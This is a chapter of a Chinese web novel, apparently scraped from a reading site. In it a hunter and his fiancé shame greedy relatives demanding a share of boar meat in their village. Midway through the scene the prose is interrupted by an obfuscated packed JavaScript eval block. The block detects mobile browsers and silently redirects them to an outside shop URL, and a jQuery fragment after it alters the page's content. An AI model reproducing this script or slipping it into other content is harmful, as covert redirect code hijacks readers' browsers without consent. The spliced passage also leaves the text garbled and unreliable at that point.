是啊,有他在,他嚣张跋扈点怎么了,他这个年纪的男孩本来就是血气方刚离经叛道的时候,那么压抑自己做什么。 小年轻掐架,他家的打过瘾不就行了,反正他也不会不在... 凌锋挑眉失笑:“也是,有我在你也伤不着。” 男人嗓音磁性语气散漫,听得柳时雨耳根发热。 他以前确实不会这样冲动,势单力薄,不敢让自己陷入纠纷。 但现在有人给他撑腰了,他自然不会再忍着再让自己受委屈,凭什么还要受他们家人的气。 他和柳知月是堂兄弟,打小便认识,自然一眼就能看出他对凌大哥存的什么心思。 他的那点小九九,他当时的眼神,同小的时候想要抢他东西时一模一样。 以前还没分家没被赶出来的时候,奶奶总让他带柳知月玩,他什么好东西都得让着他。 柳知月每次一哭他就要挨骂,不管发生什么,反正都是他的不是,说他是哥哥就得这样。 可明明他才比他大两岁,他自己分明也还有个亲哥,他根本不想搭理他,讨厌死他了。 所以看到他对凌大哥心怀不轨的时候,才会那样生气。 想到这就心烦,刚才就应该发挥好点,多打几下。 柳时雨又冷下脸,喉咙痒咳了两声,别别扭扭开口:“那柳知月不是什么好人,我不喜他,你日后,不许再同他说话。” “好好好,不跟他说话,”凌锋顺嘴哄着:“我本来就没想理他。”他说完抬起手,用宽大的掌摸了下小哥儿的额头,探了探体温。 这大冬天,昨夜毕竟淋了那么大场雨,幸好有及时保暖,现在就是咳嗽的老毛病厉害了点,气血苍白了点,倒是没有发热也没有风寒。 柳时雨不知道男人这是做什么,正聊不开心的事儿呢,本能躲了躲他的手。 凌锋放下胳膊,两人该说的也说完,就不在这瞎杵着一块儿回家。 回去路上凌锋满脑子都在想怎么给人继续补补,提高免疫力。 这家伙体重也太轻飘飘了,好歹也是个男孩,他单手就能拎起来,这像话吗。 还有昨夜那细腰薄背的手感,太清瘦了,他用臂弯圈住甚至还有空余。 “俺们也不是成心想闹,大伙儿也知道,今年地里收成不好,实在是家里孩子好些日子没沾荤腥了,俺们家月哥儿近日都饿瘦了...” 两人经过祠堂前的大坪时,被个熟悉的声音吸引了注意力。 杨大莲和刘桂花还没死心,死赖着不走,满肚子歪门邪道,现在竟然硬的不行来软的,装起弱小来了。 那什么月哥儿应该就是柳时雨的堂弟。 凌锋黑眸微眯,隔着数十步远,都看清了那二人眼底的贪婪和想占便宜的渴望。 他们嘴里说的那个饿瘦了的人,刚才跟他们家这位打起架,可不像是饿过肚子的样子。 凌锋薄唇扯出抹讥讽的笑,好整以暇地走过去看热闹。 杨大莲装完,刘桂花接着演:“可不是,家家户户都有肉分,就我们家没有,都是乡里乡亲的,我这心里着实是怪难受的,再说这肉还剩这么老些呢,也不差我们家这一口呀。” “今年确实哪家日子都不好过....”一个耳根子软的村民叹气:“唉,可怜。” 有人起了个头,那些平时跟杨大莲他们一家关系近些的也都跟着附和帮忙说话。 “是啊,都一个村儿的,这抬头不见低头见,何必闹这么难看,分她们点吧。” “那雨哥儿也是,都是本家亲戚,哪来的隔夜仇,竟由着他男人胡来欺负他娘家人,往后若是发生点什么事儿,那男人待他不如从前了,都没娘家撑腰,你们说是不是?” 这颠倒黑白的本事都把凌锋给听乐了。 “是吗?”他抱着胳膊,慢悠悠地从人群里走出来。 说话这几人根本没想到他会在,手里可都还抱着沾人家光得来的猪肉呢,脸上一下挂不住低下了头,装鹌鹑了。 杨大莲和刘桂花神情也变了变,前者还赏了凌锋一个尖酸恶狠的白眼,嘴巴动着不知道在骂什么。 “你们真想分他们家一份?”凌锋懒得搭理,冲着帮忙说话那两人笑眯眯问。 那两人开口也不是,不吭声也不是,表情跟噎住了一样难看。 实在也看不透这男子究竟是喜是怒,这般问是何居心。 “也不是不行。”默了数秒,凌锋冷不丁开口。 果然,他看到了杨大莲和刘桂花一吞着唾沫,交换了个暗喜的眼神,估计都在心里盘算肉拿回去怎么吃了。 “不过,”凌锋拐了个大弯,玩味地看着这些人变化精彩的表情,接着说:“这肉的数量和分量,可都是按昨日登记的户数给分好的,这多一户分,那便得重新称,每家都匀出来一点,去填给他们家。” 拿到手的肉还得重新分出去? 周围沉默的大多数顿时坐不住了,吵吵嚷嚷起来。 “凭啥呀,凭啥让我们匀给她呀?” “就是,你们说的倒是轻巧,怎么不把你们那份直接给她家呀?” “本来就是她们自己的不是,她们家不出力,自然就没得他们的份,更别说他们平日里没少为难雨哥儿孤儿寡爹呢!雨哥儿他男人这事儿做得光明磊落,他没错!” “人家有本事弄了这么多野猪肉,还这么好心没全卖了,分给全村人,有你们这么吃里扒外的吗?” “就是,你们觉得她们家可怜是你们的事,要分你们自己分,别打我们大伙的主意。” 杨大莲听得气不打一处来,也不装可怜了,嘴脸瞬间原形毕露:“怎么着就是吃里扒外了!你们这些好赖不分的货!给你们点肉就这么巴结?!别忘了他才是那个来路不明的外来汉!” “以后少把这三字挂嘴边!”王桃英帮凌锋怒斥回去:“凌小子马上便要赘给雨哥儿,可是族长亲自认定的,他就是咱们柳家庄的人!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805275|209531||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “禾哥儿他娘说的在理...” “就是,少吃几炖肉又不会死...” 起先还帮杨大莲他们说话的人期期艾艾插嘴,表明态度,就怕真把他们的肉拿出去多分一份似地,毕竟惹了众怒。 那两人这下反水,差点把杨大莲给气晕,捂着心口骂骂咧咧:“你们!你们这些!” 凌锋冷眼旁观,心中不屑,早料到会是这个走向。 他才不会让得罪过他的人,在他这里讨到丁点的好。 在这天灾人祸变数大物资匮乏的古代,这些一个村的人大多宗族意识都很强,会特别团结,真遇到困难过不去的坎一般都会鼎力相助,一致对外,不然也很难祖祖辈辈繁衍下去。 但一旦抛开生死,到有福同享上了,就比谁都容易翻脸不认人,一旦触及到自己的利益,就容易撕起来。 “可得多谢凌小子了,这般好心肠,带着大伙都能吃上肉,让我们都能跟着沾光!”嘴甜的开始说起了好话。 一众人也跟着附和。 这正是赚名声的好时候。 “莫谢我,”凌锋笑着回,真情实意地说:“我就一打猎的粗人,这都是我们家雨哥儿的主意,他向来心肠好,我这条命都是他捡来的,过几日我们新婚,就当提前给大伙添添喜气。” 乡亲们一听,陆陆续续跟着赞赏,甚至发现柳时雨也在人群后,围着就是一通夸。 “是啊是啊,雨哥儿是个有福气的。” “雨哥儿向来菩萨心肠,是个顶好的!” “我们雨哥儿模样生得又好看,平日待人待事有分寸,品行也极好。” “可不,不想某些人,”其中一个斜着杨大莲阴阳:“什么都不干,还总想着吃白食,想得到挺美。” 被拿来当猴耍,肉没分着,名声和好处还都让那柳时雨给赚了! 刘桂花气急败坏,扯着婆婆就想赶紧远离这丢脸的地。 可他腿还没卖出去,就有看热闹不嫌事大的跑过来喊。 “桂花,桂花!你家月哥儿方才还跟雨哥儿打起来了,你还不快去看看,伤得可不轻哦。” “是呢,好像是他拦雨哥儿男人的路还是怎么着来着。” “还有这档子事儿呢?” 杨大莲一听,眼里的怨毒多得要滴血,狠狠指着柳时雨的鼻子:“你这个狗杂种!你敢打你弟?!” 刘桂花:“你敢打我月哥儿?!” 凌锋脸色一沉,重重把杨大莲那根手指打开,同样指回去,冷声警告:“嘴巴tm给我放干净点。” 杨大莲手又麻又痛,被这汉子锐利的眼神吓得缩了缩脑袋,过去那一肚子粗鄙不堪用来骂柳时雨的话如今一个字都没敢再往外蹦。 “我阿父和小爹就生了我一个,我没有弟弟。”一直没吭声的柳时雨冷冷开口。 他本来是该有个弟弟或者妹妹的,可因这一家子的磋磨,害他当初已孕至六月的小爹落了胎。 “管好你的宝贝孙子,再有下次,我打得连你都不认识他。” 过去的柳时雨断然是不敢说出这种话的,他怕她们打,也怕两个叔找上门,欺负他和小爹找他们麻烦,但现在他不怕了。 他话刚落下,不远处柳知月用手帕遮着面路过,刚好偏头看到了这一幕。 众人齐刷刷望向他。 早分到肉,已经回家做饭了的人家都冒起了炊烟,整个村都开始飘肉香。 柳知月闻得肚子饿得慌,更觉得这香味就是对他的羞辱,被这么多双眼睛注视,顿时觉得脸都丢尽了。 他看看凌锋,又咬牙切齿的瞪了柳时雨一眼,平时他在他面前耀武扬威惯了,哪受过这委屈。 下一秒直接就受不了,崩溃地捂着脸哭着就往家里跑。 “月哥儿哟,我可怜的乖孙儿呀,奶心疼呀。”杨大莲痛心疾首地追过去,刘桂花跟上。 柳时雨面无表情看着他们那奶慈孙孝的把戏,辩不出他此时的喜怒。 周围人见差不多也都散了。 同样都是孙子,怎么区别待遇就这么大。 凌锋站在小哥儿身边陪着他,不太清楚他对这些还在不在意。 也替那家人累得慌,天天在这瞎折腾又讨不着好。 . 两人回到家的时候差不多晌午。 刚到门口,就看见余斌宝贝似的揣着个小包裹坐在檐下等他们。 “凌老弟,这儿!快!”余斌一见凌锋就笑得两眼放光,神秘兮兮冲他招手示意。 凌锋瞥了眼他手里的东西,挑了下眉,薄唇也勾起个满意的弧度。 那可是银子,白花花上百两的银子! “走,进去说。” 财不外露,凌锋揽住状况外的柳时雨,招呼二人进屋。